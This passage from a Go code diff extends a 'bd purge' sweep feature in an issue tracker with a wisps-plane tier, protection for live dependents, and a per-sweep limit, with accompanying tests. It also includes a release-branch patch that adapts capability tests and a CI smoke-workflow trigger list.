+ results = trimToSearchLimit(results, filter.Limit) + if err := EnforceMaxRowsCap(len(results), filter.MaxRows, filter.MaxRowsSource); err != nil { + return nil, err + } + return results, nil +} + // searchProjection describes how to project, scan, and dedup search results. // Adding a narrow-projection variant means adding a new projection literal — // not a parallel top-level function or wisp-merge wrapper, which is how the diff --git a/internal/storage/issueops/sweep.go b/internal/storage/issueops/sweep.go index a609579e6..e27a3b671 100644 --- a/internal/storage/issueops/sweep.go +++ b/internal/storage/issueops/sweep.go @@ -31,7 +31,11 @@ import ( func SweepInTx(ctx context.Context, tx *sql.Tx, req publicops.SweepRequest) (publicops.SweepResult, error) { result := publicops.SweepResult{DryRun: req.DryRun} - candidates, err := SearchIssuesInTx(ctx, tx, "", workapi.BuildSweepCandidateFilter(req)) + search := SearchIssuesInTx + if workapi.SweepSearchesWispsPlaneOnly(req) { + search = SearchWispsPlaneInTx + } + candidates, err := search(ctx, tx, "", workapi.BuildSweepCandidateFilter(req)) if err != nil { return publicops.SweepResult{}, fmt.Errorf("listing sweep candidates: %w", err) } @@ -39,6 +43,14 @@ func SweepInTx(ctx context.Context, tx *sql.Tx, req publicops.SweepRequest) (pub kept, skips := workapi.FilterSweepCandidates(candidates, req.IDPattern, req.ClosedBefore) result.Skipped = skips + if req.ProtectLiveDependents { + protected, err := sweepLiveDependentsInTx(ctx, tx, kept) + if err != nil { + return publicops.SweepResult{}, err + } + kept, result.Skipped.LiveDependent = workapi.PartitionSweepLiveDependents(kept, protected) + } + if req.ProtectReferenced { referenced, err := sweepReferencedInTx(ctx, tx, kept) if err != nil { @@ -49,6 +61,8 @@ func SweepInTx(ctx context.Context, tx *sql.Tx, req publicops.SweepRequest) (pub result.Skipped.Referenced = count } + kept, result.Remaining = workapi.LimitSweepCandidates(kept, req.Limit) + if len(kept) == 0 { return result, nil } @@ -73,6 +87,46 @@ func SweepInTx(ctx context.Context, tx *sql.Tx, req publicops.SweepRequest) (pub return result, nil } +// sweepLiveDependentsInTx returns which of the candidates a live row depends +// on through a protecting edge (issueops.SweepRequest.ProtectLiveDependents), +// on the SAME transaction the candidates came off. Edges are read from both +// dependency tables, and the sources' statuses from both planes. +// +// Reading the custom statuses is required for the reason sweepReferencedInTx +// gives: a missed custom active status would under-protect. +func sweepLiveDependentsInTx(ctx context.Context, tx *sql.Tx, candidates []*types.Issue) (map[string]bool, error) { + if len(candidates) == 0 { + return nil, nil + } + ids := make([]string, len(candidates)) + for i, issue := range candidates { + ids[i] = issue.ID + } + incoming, err := GetDependentRecordsForIssuesInTx(ctx, tx, ids) + if err != nil { + return nil, fmt.Errorf("reading dependents for live-dependent protection: %w", err) + } + sources := workapi.SweepLiveDependentSources(incoming) + if len(sources) == 0 { + return nil, nil + } + custom, err := ResolveCustomStatusesDetailedInTx(ctx, tx) + if err != nil { + return nil, fmt.Errorf("reading custom statuses for live-dependent protection: %w", err) + } + liveRows, err := SearchIssuesInTx(ctx, tx, "", workapi.BuildSweepLiveDependentScanFilter(sources, custom)) + if err != nil { + return nil, fmt.Errorf("reading dependent statuses for live-dependent protection: %w", err) + } + live := make(map[string]bool, len(liveRows)) + for _, issue := range liveRows { + if issue != nil { + live[issue.ID] = true + } + } + return workapi.SweepLiveDependentTargets(incoming, live), nil +} + // sweepReferencedInTx returns which of the candidates are cited by a row that // is not done, reading the not-done set and its comments on the SAME // transaction the candidates came off. diff --git a/internal/storage/uow/notifying_parity_test.go b/internal/storage/uow/notifying_parity_test.go index bf1066d58..c9fd5d7fd 100644 --- a/internal/storage/uow/notifying_parity_test.go +++ b/internal/storage/uow/notifying_parity_test.go @@ -159,6 +159,7 @@ func TestRecordingIssueUseCaseCoversItsSurface(t *testing.T) { "PreviewDeleteWisp": reads, "SearchIssueIDs": reads, "SearchIssues": reads, + "SearchWispsPlane": reads, "SearchIssuesWithCounts": reads, "DeleteIssue": deletes, "DeleteIssues": deletes, diff --git a/internal/storage/uow/sweeper.go b/internal/storage/uow/sweeper.go index 3ce242c43..415833178 100644 --- a/internal/storage/uow/sweeper.go +++ b/internal/storage/uow/sweeper.go @@ -4,6 +4,7 @@ import ( "context" "fmt" + "github.com/steveyegge/beads/internal/storage/dberrors" "github.com/steveyegge/beads/internal/storage/domain" "github.com/steveyegge/beads/internal/types" "github.com/steveyegge/beads/internal/workapi" @@ -76,14 +77,22 @@ func (s *sweeper) Sweep(ctx context.Context, req publicops.SweepRequest) (public func sweepInUOW(ctx context.Context, uw UnitOfWork, req publicops.SweepRequest) (publicops.SweepResult, error) { result := publicops.SweepResult{DryRun: req.DryRun} - page, err := uw.IssueUseCase().SearchIssues(ctx, "", workapi.BuildSweepCandidateFilter(req)) + candidates, err := sweepCandidatesInUOW(ctx, uw, req) if err != nil { return publicops.SweepResult{}, fmt.Errorf("listing sweep candidates: %w", err) } - kept, skips := workapi.FilterSweepCandidates(page.Items, req.IDPattern, req.ClosedBefore) + kept, skips := workapi.FilterSweepCandidates(candidates, req.IDPattern, req.ClosedBefore) result.Skipped = skips + if req.ProtectLiveDependents { + protected, err := sweepLiveDependentsInUOW(ctx, uw, kept) + if err != nil { + return publicops.SweepResult{}, err + } + kept, result.Skipped.LiveDependent = workapi.PartitionSweepLiveDependents(kept, protected) + } + if req.ProtectReferenced { referenced, err := sweepReferencedInUOW(ctx, uw, kept) if err != nil { @@ -94,6 +103,8 @@ func sweepInUOW(ctx context.Context, uw UnitOfWork, req publicops.SweepRequest) result.Skipped.Referenced = count } + kept, result.Remaining = workapi.LimitSweepCandidates(kept, req.Limit) + if len(kept) == 0 { return result, nil } @@ -116,6 +127,73 @@ func sweepInUOW(ctx context.Context, uw UnitOfWork, req publicops.SweepRequest) return result, nil } +// sweepCandidatesInUOW reads the request's candidate rows: the wisps table +// alone for the wisps-plane tier, a tier query across both planes otherwise. +func sweepCandidatesInUOW(ctx context.Context, uw UnitOfWork, req publicops.SweepRequest) ([]*types.Issue, error) { + filter := workapi.BuildSweepCandidateFilter(req) + if workapi.SweepSearchesWispsPlaneOnly(req) { + return uw.IssueUseCase().SearchWispsPlane(ctx, "", filter) + } + page, err := uw.IssueUseCase().SearchIssues(ctx, "", filter) + if err != nil { + return nil, err + } + return page.Items, nil +} + +// sweepLiveDependentsInUOW returns which of the candidates a live row depends +// on through a protecting edge, on the unit of work the candidates came off. +// +// Edges are read from BOTH dependency tables: a wisp's edges live in +// wisp_dependencies and an issue's in dependencies, and the source of an edge +// pointing at a candidate can be either. The sources' statuses are then read +// across both planes by SearchIssues. +func sweepLiveDependentsInUOW(ctx context.Context, uw UnitOfWork, candidates []*types.Issue) (map[string]bool, error) { + if len(candidates) == 0 { + return nil, nil + } + ids := make([]string, len(candidates)) + for i, issue := range candidates { + ids[i] = issue.ID + } + edges := domain.DepListFilter{Types: publicops.SweepLiveDependentEdgeTypes, Direction: domain.DepDirectionIn} + durable, err := uw.DependencyUseCase().ListByIssueIDs(ctx, ids, edges) + if err != nil { + return nil, fmt.Errorf("reading dependents for live-dependent protection: %w", err) + } + wisp, err := uw.DependencyUseCase().ListByWispIDs(ctx, ids, edges) + if err != nil && !dberrors.IsTableNotExist(err) { + return nil, fmt.Errorf("reading wisp dependents for live-dependent protection: %w", err) + } + incoming := make(map[string][]*types.Dependency, len(durable.Incoming)+len(wisp.Incoming)) + for target, deps := range durable.Incoming { + incoming[target] = append(incoming[target], deps...) + } + for target, deps := range wisp.Incoming { + incoming[target] = append(incoming[target], deps...) + } + + sources := workapi.SweepLiveDependentSources(incoming) + if len(sources) == 0 { + return nil, nil + } + custom, err := uw.ConfigUseCase().GetCustomStatuses(ctx) + if err != nil { + return nil, fmt.Errorf("reading custom statuses for live-dependent protection: %w", err) + } + page, err := uw.IssueUseCase().SearchIssues(ctx, "", workapi.BuildSweepLiveDependentScanFilter(sources, custom)) + if err != nil { + return nil, fmt.Errorf("reading dependent statuses for live-dependent protection: %w", err) + } + live := make(map[string]bool, len(page.Items)) + for _, issue := range page.Items { + if issue != nil { + live[issue.ID] = true + } + } + return workapi.SweepLiveDependentTargets(incoming, live), nil +} + // sweepReferencedInUOW returns which of the candidates a not-done row cites, // reading the not-done set and its comments on the same unit of work the // candidates came off. Comments are read for the whole not-done set in ONE diff --git a/internal/storage/uow/sweeper_contract_test.go b/internal/storage/uow/sweeper_contract_test.go index 4ccec5a9a..e054b5226 100644 --- a/internal/storage/uow/sweeper_contract_test.go +++ b/internal/storage/uow/sweeper_contract_test.go @@ -35,6 +35,21 @@ func TestSweeperContract(t *testing.T) { t.Run("TreatsALegacyTypedWispAsEphemeralTier", func(t *testing.T) { conformance.RunSweeperTreatsALegacyTypedWispAsEphemeralTier(t, ctx, fixture) }) + t.Run("WispsPlaneClearsTheWholeWispsTable", func(t *testing.T) { + conformance.RunSweeperWispsPlaneClearsTheWholeWispsTable(t, ctx, fixture) + }) + t.Run("WispsPlaneRequiresAFilter", func(t *testing.T) { + conformance.RunSweeperWispsPlaneRequiresAFilter(t, ctx, fixture) + }) + t.Run("ProtectsLiveDependents", func(t *testing.T) { + conformance.RunSweeperProtectsLiveDependents(t, ctx, fixture) + }) + t.Run("ProtectsLiveDependentsAcrossPlanes", func(t *testing.T) { + conformance.RunSweeperProtectsLiveDependentsAcrossPlanes(t, ctx, fixture) + }) + t.Run("LimitTakesTheOldestClosedFirst", func(t *testing.T) { + conformance.RunSweeperLimitTakesTheOldestClosedFirst(t, ctx, fixture) + }) t.Run("LeavesNoHistoryBeadsToTheDurableTier", func(t *testing.T) { conformance.RunSweeperLeavesNoHistoryBeadsToTheDurableTier(t, ctx, fixture) }) @@ -98,6 +113,20 @@ func newUOWSweeperFixture(t *testing.T, ctx context.Context, prefix string) conf return "seed legacy sweep rows", nil }) }, + AddDependencies: func(ctx context.Context, req issueops.AddDependenciesRequest) error { + // Through the DependencyEditor ROLE, which routes each edge to its + // source plane's dependency table itself. + ds, ok := provider.(DependencyEditorSource) + if !ok { + return fmt.Errorf("provider %T does not offer the DependencyEditor accessor", provider) + } + editor, err := ds.DependencyEditor() + if err != nil { + return err + } + _, err = editor.AddDependencies(ctx, req) + return err + }, AddComment: func(ctx context.Context, issueID, author, text string) error { // Through the Commenter ROLE, which resolves the plane itself, so // the case can cite from a wisp's comment without knowing how this diff --git a/internal/workapi/sweep.go b/internal/workapi/sweep.go index 3466558e2..24af4ec50 100644 --- a/internal/workapi/sweep.go +++ b/internal/workapi/sweep.go @@ -29,13 +29,13 @@ import ( // by calling the role. See issueops.SweepRequest. func ValidateSweepRequest(in issueops.SweepRequest) error { switch in.Tier { - case issueops.SweepEphemeral, issueops.SweepDurable: + case issueops.SweepEphemeral, issueops.SweepDurable, issueops.SweepWispsPlane: case "": - return fmt.Errorf("%w: sweep requires a tier (%q or %q), and has no default", - issueops.ErrValidation, issueops.SweepEphemeral, issueops.SweepDurable) + return fmt.Errorf("%w: sweep requires a tier (%q, %q or %q), and has no default", + issueops.ErrValidation, issueops.SweepEphemeral, issueops.SweepDurable, issueops.SweepWispsPlane) default: - return fmt.Errorf("%w: %q is not a sweep tier; use %q or %q", - issueops.ErrValidation, in.Tier, issueops.SweepEphemeral, issueops.SweepDurable) + return fmt.Errorf("%w: %q is not a sweep tier; use %q, %q or %q", + issueops.ErrValidation, in.Tier, issueops.SweepEphemeral, issueops.SweepDurable, issueops.SweepWispsPlane) } if in.IDPattern != "" { // filepath.Match reports a malformed pattern on any subject, so one @@ -47,14 +47,32 @@ func ValidateSweepRequest(in issueops.SweepRequest) error { issueops.ErrValidation, in.IDPattern, err) } } - if in.Tier == issueops.SweepDurable && in.ClosedBefore == nil && in.IDPattern == "" { - return fmt.Errorf("%w: a durable sweep requires a closed-before cutoff or an id pattern; "+ + if in.Limit < 0 { + return fmt.Errorf("%w: sweep limit %d is negative; use 0 for no limit", issueops.ErrValidation, in.Limit) + } + if sweepRequiresFilter(in.Tier) && in.ClosedBefore == nil && in.IDPattern == "" { + return fmt.Errorf("%w: a %s sweep requires a closed-before cutoff or an id pattern; "+ "pass the pattern \"*\" to sweep every closed issue deliberately", - issueops.ErrValidation) + issueops.ErrValidation, in.Tier) } return nil } +// sweepRequiresFilter reports whether a tier reaches durable-tier rows and so +// carries the require-a-filter gate. The wisps plane does: it holds no-history +// beads (issueops.SweepWispsPlane). +func sweepRequiresFilter(tier issueops.SweepTier) bool { + return tier == issueops.SweepDurable || tier == issueops.SweepWispsPlane +} + +// SweepSearchesWispsPlaneOnly reports whether a request's candidates come from +// the wisps table alone (issueops.SweepWispsPlane) rather than from a tier +// query merged across both planes. Every Sweeper implementation branches on +// this one answer, so the plane a tier reads is decided in one place. +func SweepSearchesWispsPlaneOnly(in issueops.SweepRequest) bool { + return in.Tier == issueops.SweepWispsPlane +} + // BuildSweepCandidateFilter turns a sweep request into the storage-level // filter that selects its CANDIDATES: the closed rows of one tier, bounded by // the cutoff. @@ -66,8 +84,21 @@ func ValidateSweepRequest(in issueops.SweepRequest) error { // // Call ValidateSweepRequest first; this builder assumes a validated request // and does not re-refuse one. +// +// For SweepWispsPlane the filter carries NO tier constraint: the plane is the +// selection, and the implementation applies it by searching the wisps table +// alone (SweepSearchesWispsPlaneOnly). Every closed row there is a candidate, +// whatever its ephemeral, no_history or wisp_type values. func BuildSweepCandidateFilter(in issueops.SweepRequest) types.IssueFilter { closed := types.StatusClosed + if SweepSearchesWispsPlaneOnly(in) { + filter := types.IssueFilter{Status: &closed} + if in.ClosedBefore != nil { + cutoff := *in.ClosedBefore + filter.ClosedBefore = &cutoff + } + return filter + } ephemeral := in.Tier == issueops.SweepEphemeral // EphemeralTier, not Ephemeral: the tier owns typed wisps whether or not // their minting set the ephemeral flag (older creators set wisp_type but @@ -271,3 +302,91 @@ func PartitionSweepReferenced(candidates []*types.Issue, referenced map[string]b } return kept, referencedCount, sample } + +// BuildSweepLiveDependentScanFilter selects which of a candidate set's +// dependents are LIVE for issueops.SweepRequest.ProtectLiveDependents: the +// named sources, restricted to the not-done statuses. It is the same status +// vocabulary the reference scan asks, so "live" means one thing in a sweep. +func BuildSweepLiveDependentScanFilter(dependentIDs []string, custom []types.CustomStatus) types.IssueFilter { + return types.IssueFilter{IDs: dependentIDs, Statuses: NotDoneStatusesForSweep(custom)} +} + +// SweepLiveDependentSources returns the ids of the rows that depend on a +// candidate through a protecting edge (issueops.SweepLiveDependentEdgeTypes), +// given the edges pointing at the candidates keyed by target. The result is +// sorted and de-duplicated, so the follow-up status read is deterministic. +func SweepLiveDependentSources(incoming map[string][]*types.Dependency) []string { + seen := make(map[string]bool) + for _, deps := range incoming { + for _, dep := range deps { + if dep != nil && isSweepProtectingEdge(dep.Type) { + seen[dep.IssueID] = true + } + } + } + ids := make([]string, 0, len(seen)) + for id := range seen { + ids = append(ids, id) + } + sort.Strings(ids) + return ids +} + +// SweepLiveDependentTargets returns the candidates a live row depends on: the +// targets of protecting edges whose source is in live. +func SweepLiveDependentTargets(incoming map[string][]*types.Dependency, live map[string]bool) map[string]bool { + protected := make(map[string]bool) + for target, deps := range incoming { + for _, dep := range deps { + if dep != nil && isSweepProtectingEdge(dep.Type) && live[dep.IssueID] { + protected[target] = true + break + } + } + } + return protected +} + +func isSweepProtectingEdge(t types.DependencyType) bool { + for _, protecting := range issueops.SweepLiveDependentEdgeTypes { + if t == protecting { + return true + } + } + return false +} + +// PartitionSweepLiveDependents splits candidates into the ones no live row +// depends on and a count of the ones some live row does, preserving candidate +// order. +func PartitionSweepLiveDependents(candidates []*types.Issue, protected map[string]bool) (kept []*types.Issue, protectedCount int) { + kept = make([]*types.Issue, 0, len(candidates)) + for _, issue := range candidates { + if protected[issue.ID] { + protectedCount++ + continue + } + kept = append(kept, issue) + } + return kept, protectedCount +} + +// LimitSweepCandidates applies issueops.SweepRequest.Limit to the candidates +// that survived every protection: the oldest-closed first (closed_at +// ascending, then id, so two runs over one snapshot pick the same rows), at +// most limit of them. It returns the kept rows and how many were left behind. +// A non-positive limit keeps everything. The input slice is not reordered. +func LimitSweepCandidates(candidates []*types.Issue, limit int) (kept []*types.Issue, remaining int) { + if limit <= 0 || len(candidates) <= limit { + return candidates, 0 + } + ordered := append([]*types.Issue(nil), candidates...) + sort.SliceStable(ordered, func(i, j int) bool { + a, b := ordered[i], ordered[j] + if a.ClosedAt != nil && b.ClosedAt != nil && !a.ClosedAt.Equal(*b.ClosedAt) { + return a.ClosedAt.Before(*b.ClosedAt) + } + return a.ID < b.ID + }) + return ordered[:limit], len(ordered) - limit +} diff --git a/internal/workapi/sweep_test.go b/internal/workapi/sweep_test.go index 9c4093cd0..af26fd9fb 100644 --- a/internal/workapi/sweep_test.go +++ b/internal/workapi/sweep_test.go @@ -353,3 +353,119 @@ func sweepCandidateIDs(issues []*types.Issue) []string { } return ids } + +func TestValidateSweepRequestGatesTheWispsPlane(t *testing.T) { + cutoff := time.Date(2026, 1, 1, 0, 0, 0, 0, time.UTC) + if err := ValidateSweepRequest(issueops.SweepRequest{Tier: issueops.SweepWispsPlane}); !errors.Is(err, issueops.ErrValidation) { + t.Fatalf("unfiltered wisps-plane sweep error = %v, want ErrValidation: it reaches no-history (durable-tier) rows", err) + } + for _, req := range []issueops.SweepRequest{ + {Tier: issueops.SweepWispsPlane, ClosedBefore: &cutoff}, + {Tier: issueops.SweepWispsPlane, IDPattern: "*"}, + } { + if err := ValidateSweepRequest(req); err != nil { + t.Errorf("ValidateSweepRequest(%+v) = %v, want nil", req, err) + } + } +} + +func TestBuildSweepCandidateFilterForTheWispsPlaneHasNoTierConstraint(t *testing.T) { + cutoff := time.Date(2026, 1, 1, 0, 0, 0, 0, time.UTC) + req := issueops.SweepRequest{Tier: issueops.SweepWispsPlane, ClosedBefore: &cutoff} + if !SweepSearchesWispsPlaneOnly(req) { + t.Fatal("SweepSearchesWispsPlaneOnly(wisps-plane) = false; the plane IS the selection") + } + filter := BuildSweepCandidateFilter(req) + if filter.Status == nil || *filter.Status != types.StatusClosed { + t.Fatalf("Status = %v, want closed", filter.Status) + } + if filter.EphemeralTier != nil || filter.Ephemeral != nil { + t.Fatalf("wisps-plane filter carries a flag constraint (EphemeralTier=%v, Ephemeral=%v); "+ + "that would drop no-history rows", filter.EphemeralTier, filter.Ephemeral) + } + if filter.ClosedBefore == nil || !filter.ClosedBefore.Equal(cutoff) || filter.ClosedBefore == &cutoff { + t.Fatalf("ClosedBefore = %v, want a copy of %v", filter.ClosedBefore, cutoff) + } + for _, tier := range []issueops.SweepTier{issueops.SweepEphemeral, issueops.SweepDurable} { + if SweepSearchesWispsPlaneOnly(issueops.SweepRequest{Tier: tier}) { + t.Errorf("SweepSearchesWispsPlaneOnly(%s) = true; tier queries merge both planes", tier) + } + } +} + +func TestSweepLiveDependentsCountOnlyProtectingEdgesFromLiveSources(t *testing.T) { + dep := func(source, target string, typ types.DependencyType) *types.Dependency { + return &types.Dependency{IssueID: source, DependsOnID: target, Type: typ} + } + incoming := map[string][]*types.Dependency{ + "root": {dep("step-open", "root", types.DepParentChild), dep("step-done", "root", types.DepParentChild)}, + "tracked": {dep("convoy", "tracked", types.DepTracks)}, + "gate": {dep("waiter", "gate", types.DepBlocks)}, + "linked": {dep("reader", "linked", types.DepRelated)}, + "orphan": {dep("step-done", "orphan", types.DepParentChild), nil}, + } + + sources := SweepLiveDependentSources(incoming) + if want := []string{"convoy", "step-done", "step-open", "waiter"}; strings.Join(sources, ",") != strings.Join(want, ",") { + t.Fatalf("SweepLiveDependentSources = %v, want %v (sorted, protecting edges only)", sources, want) + } + + live := map[string]bool{"step-open": true, "convoy": true, "waiter": true, "reader": true} + protected := SweepLiveDependentTargets(incoming, live) + for _, id := range []string{"root", "tracked", "gate"} { + if !protected[id] { + t.Errorf("%s not protected; a live source depends on it through a protecting edge", id) + } + } + for _, id := range []string{"linked", "orphan"} { + if protected[id] { + t.Errorf("%s protected; its only live source is a non-protecting edge or none is live", id) + } + } + + candidates := []*types.Issue{{ID: "root"}, {ID: "linked"}, {ID: "tracked"}, {ID: "orphan"}} + kept, count := PartitionSweepLiveDependents(candidates, protected) + if count != 2 || len(kept) != 2 || kept[0].ID != "linked" || kept[1].ID != "orphan" { + t.Fatalf("PartitionSweepLiveDependents = %d kept %v, count %d; want [linked orphan] and 2", len(kept), kept, count) + } +} + +func TestValidateSweepRequestRefusesANegativeLimit(t *testing.T) { + err := ValidateSweepRequest(issueops.SweepRequest{Tier: issueops.SweepEphemeral, Limit: -1}) + if !errors.Is(err, issueops.ErrValidation) { + t.Fatalf("negative Limit error = %v, want ErrValidation", err) + } + if err := ValidateSweepRequest(issueops.SweepRequest{Tier: issueops.SweepEphemeral, Limit: 0}); err != nil { + t.Fatalf("zero Limit (no cap) error = %v, want nil", err) + } +} + +func TestLimitSweepCandidatesTakesTheOldestClosedFirst(t *testing.T) { + at := func(day int) *time.Time { + ts := time.Date(2026, 1, day, 0, 0, 0, 0, time.UTC) + return &ts + } + candidates := []*types.Issue{ + {ID: "c", ClosedAt: at(3)}, + {ID: "b2", ClosedAt: at(1)}, + {ID: "a", ClosedAt: at(2)}, + {ID: "b1", ClosedAt: at(1)}, + } + + kept, remaining := LimitSweepCandidates(candidates, 3) + var got []string + for _, issue := range kept { + got = append(got, issue.ID) + } + if strings.Join(got, ",") != "b1,b2,a" || remaining != 1 { + t.Fatalf("LimitSweepCandidates(3) = %v, remaining %d; want [b1 b2 a] (closed_at, then id) and 1", got, remaining) + } + if candidates[0].ID != "c" { + t.Fatal("LimitSweepCandidates reordered the caller's slice") + } + for _, limit := range []int{0, 4, 10} { + if kept, remaining := LimitSweepCandidates(candidates, limit); len(kept) != 4 || remaining != 0 { + t.Errorf("LimitSweepCandidates(%d) kept %d, remaining %d; want all 4 and 0", limit, len(kept), remaining) + } + } +} diff --git a/issueops/dependencyeditor.go b/issueops/dependencyeditor.go index 2951dd66e..f9b0683eb 100644 --- a/issueops/dependencyeditor.go +++ b/issueops/dependencyeditor.go @@ -29,6 +29,7 @@ const ( DepDiscoveredFrom = types.DepDiscoveredFrom DepRepliesTo = types.DepRepliesTo DepWaitsFor = types.DepWaitsFor + DepTracks = types.DepTracks ) // DependencyEdge is one directed edge: IssueID depends on DependsOnID, with diff --git a/issueops/sweeper.go b/issueops/sweeper.go index 46f4e528b..4e60eda0a 100644 --- a/issueops/sweeper.go +++ b/issueops/sweeper.go @@ -27,6 +27,21 @@ const ( // it — carries the require-a-filter refusal SweepRequest.ClosedBefore // describes. SweepDurable SweepTier = "durable" + // SweepWispsPlane clears CLOSED rows by STORAGE PLANE rather than by + // tier: every closed row stored in the wisps table, whatever its flags — + // ephemeral wisps and no-history beads alike. `bd purge --wisps-plane`. + // + // It is the one tier that is NOT disjoint from the other two, and that is + // the point of it. A no-history bead lives in the wisps plane but is + // durable-tier (it is not ephemeral and carries no wisp_type), so neither + // SweepEphemeral nor SweepDurable can say "the wisps table" — the unit an + // orchestrator's retention policy is written in. Conversely a legacy + // typed wisp stored in the issues table is ephemeral-tier and NOT in this + // plane. + // + // Because it reaches durable-tier rows, it carries the durable tier's + // require-a-filter gate (SweepRequest.ClosedBefore). + SweepWispsPlane SweepTier = "wisps-plane" ) // SweepRequest describes one bulk clearance of closed rows: which tier, which @@ -68,6 +83,9 @@ type SweepRequest struct { // says so with IDPattern "*", which is a deliberate keystroke rather than // an omitted one. // + // SweepWispsPlane carries the same gate, because the wisps plane holds + // no-history beads, which are durable-tier. + // // The EPHEMERAL tier carries no such gate: an unfiltered sweep of closed // wisps is the ordinary use of `bd purge`, and the tier is transient by // definition. @@ -108,6 +126,33 @@ type SweepRequest struct { // `bd purge` does not, because a wisp's citations are as transient as the // wisp. ProtectReferenced bool + // ProtectLiveDependents skips candidates that a LIVE row depends on + // through a structural edge — a closed parent whose child is still open, + // a closed bead a live convoy tracks, a closed blocker of a live bead — + // so a sweep never deletes the root, container or gate of work that is + // still in progress. + // + // WHICH EDGES are SweepLiveDependentEdgeTypes: parent-child, tracks and + // blocks, from either plane's dependency table. Other edge types (related, + // discovered-from, ...) are links rather than structure and do not protect. + // + // WHICH ROWS ARE LIVE is the same not-done set ProtectReferenced asks: the + // built-in active statuses (open, in_progress, blocked, deferred, pinned, + // hooked) plus every configured custom status whose category is not + // "done", with the same REQUIRED read of the custom statuses. + // + // Unlike ProtectReferenced it is a stored-edge lookup, not a text scan, so + // it costs one read of the edges pointing at the candidates and one of + // their sources. `bd purge` always asks for it; `bd prune` does not. + ProtectLiveDependents bool + // Limit, when positive, caps how many rows ONE sweep deletes, taking the + // OLDEST-CLOSED first (closed_at ascending, then id). The rest are left + // for the next call and counted in SweepResult.Remaining, so a caller can + // drain a large backlog in bounded transactions instead of one that grows + // with the backlog and can outlive the caller's deadline. It applies after + // every protection, so it caps rows that would actually go. Zero means no + // cap; a negative value is ErrValidation. + Limit int // DryRun reports what the sweep WOULD do and deletes nothing. The result // is otherwise the same result — the same counts, the same skips, the same // refusals — computed against the same snapshot the real sweep would have @@ -132,6 +177,9 @@ type SweepSkips struct { // 0 when that field is false; a caller that reads a 0 without having asked // for the protection has learned nothing about whether rows are cited. Referenced int + // LiveDependent counts candidates skipped by ProtectLiveDependents, under + // the same always-0-when-not-asked rule as Referenced. + LiveDependent int // NotClosed, UnknownClosedAt and ClosedAtOrAfterCutoff count candidates // the tier's own query returned and the sweep rechecked and rejected: a // status that is not closed, a closed row with no closed_at stamp at all, @@ -173,6 +221,10 @@ type SweepResult struct { Events int // Skipped reports the candidates the sweep held back and why. Skipped SweepSkips + // Remaining is how many rows the sweep WOULD also have deleted but left + // because of SweepRequest.Limit. Zero when there is no limit or the + // backlog fit; a caller loops while it is non-zero. + Remaining int // ReferencedIDs is a BOUNDED SAMPLE of the ids Skipped.Referenced counts — // at most SweepReferencedSampleLimit of them, in the order the candidate // query returned them. It is a sample and not the set: a caller that needs @@ -184,6 +236,11 @@ type SweepResult struct { ReferencedIDs []string } +// SweepLiveDependentEdgeTypes are the edge types through which a live row +// protects a closed candidate under SweepRequest.ProtectLiveDependents. It is +// published so a caller can state the same policy without copying the list. +var SweepLiveDependentEdgeTypes = []DependencyType{DepParentChild, DepTracks, DepBlocks} + // SweepReferencedSampleLimit bounds SweepResult.ReferencedIDs. It is published // so a caller can tell a truncated sample from a complete one by comparing the // slice's length against it, rather than against a number copied out of an @@ -255,17 +312,20 @@ type Sweeper interface { // // THE ORDER THE NARROWING HAPPENS IN IS PART OF THE ANSWER, because the // skip counters are counted along the way: the tier's closed rows, then - // IDPattern, then the pinned and closed_at rechecks, then the reference - // protection. A pinned row excluded by the pattern is therefore NOT - // counted in Skipped.Pinned — it was never a candidate — and the counters - // describe the set the request actually reached. + // IDPattern, then the pinned and closed_at rechecks, then the + // live-dependent protection, then the reference protection, then Limit + // (oldest-closed first). A pinned row + // excluded by the pattern is therefore NOT counted in Skipped.Pinned — it + // was never a candidate — and the counters describe the set the request + // actually reached. // // REFUSALS, all ErrValidation and all before anything is read: // // - an unset or unrecognized Tier; - // - a SweepDurable request with neither ClosedBefore nor IDPattern (see - // SweepRequest.ClosedBefore for why this lives here); - // - an IDPattern that is not a well-formed glob. + // - a SweepDurable or SweepWispsPlane request with neither ClosedBefore + // nor IDPattern (see SweepRequest.ClosedBefore for why this lives here); + // - an IDPattern that is not a well-formed glob; + // - a negative Limit. // // A REQUEST THAT MATCHES NOTHING IS A ZERO RESULT AND A NIL ERROR, not a // not-found: an empty set of closed rows is the steady state of a swept From 2b27259cb4cb7a3df488dae58d2a3e92c0f32c98 Mon Sep 17 00:00:00 2001 From: Gas City Adopt-PR Date: Mon, 28 Sep 2026 15:56:08 +0000 Subject: [PATCH 184/624] test(release-1.3.x): adapt release-only capability tests to the backported proxied backup [NOT a cherry-pick] Release-only adaptation, not a copy of any main commit. The tests it touches exist only on release/1.3.0, so there is nothing on main to pick; every other commit on this branch is a faithful cherry-pick -x. - topology_capability_matrix_test.go (#6579, release-only S0 matrix): flip backup status/sync as #6584's own description says. On proxied-local, status is HONORED and sync is ERROR "no backup destination configured"; other proxied topologies are REFUSED_TYPED with reason design. The runner already orders refusal rows before honored ones, so the honored cells no longer start the proxy ahead of the no-side-effect refusal checks (the red smoke-lane cells review found). - proxy_capability_test.go: TestProxyMaintenanceAllowsTheSharedConsentVerb (#6695, release-only) called validateProxyMaintenanceBeforeProvider, which #6582 removes; it now calls validateProxyRegistryBeforeProvider for managed-local, with unchanged assertions. Until this commit the cmd/bd test package does not compile on the picks above it. - proxied-local-smoke.yml: run the capability matrix and the backup round trip in the compiled-in check, and trigger on cmd/bd/backup*.go. Co-Authored-By: Claude Opus 5.5 --- .github/workflows/proxied-local-smoke.yml | 6 +++++- cmd/bd/proxy_capability_test.go | 16 ++++++++-------- cmd/bd/topology_capability_matrix_test.go | 18 +++++++++++++++--- 3 files changed, 28 insertions(+), 12 deletions(-) diff --git a/.github/workflows/proxied-local-smoke.yml b/.github/workflows/proxied-local-smoke.yml index 263e182e4..eee9b7b19 100644 --- a/.github/workflows/proxied-local-smoke.yml +++ b/.github/workflows/proxied-local-smoke.yml @@ -23,6 +23,7 @@ on: - 'cmd/bd/proxied_server*.go' - 'cmd/bd/dolt*.go' - 'cmd/bd/*_proxied_server.go' + - 'cmd/bd/backup*.go' - 'cmd/bd/purge*.go' - 'cmd/bd/db_proxy_child.go' - 'cmd/bd/init*.go' @@ -43,6 +44,7 @@ on: - 'cmd/bd/proxied_server*.go' - 'cmd/bd/dolt*.go' - 'cmd/bd/*_proxied_server.go' + - 'cmd/bd/backup*.go' - 'cmd/bd/purge*.go' - 'cmd/bd/db_proxy_child.go' - 'cmd/bd/init*.go' @@ -113,7 +115,9 @@ jobs: TestManagedLocalProxiedDoltStartRefusesOverLiveProxy \ TestManagedLocalProxiedDoltStartRefusesWithProxyDown \ 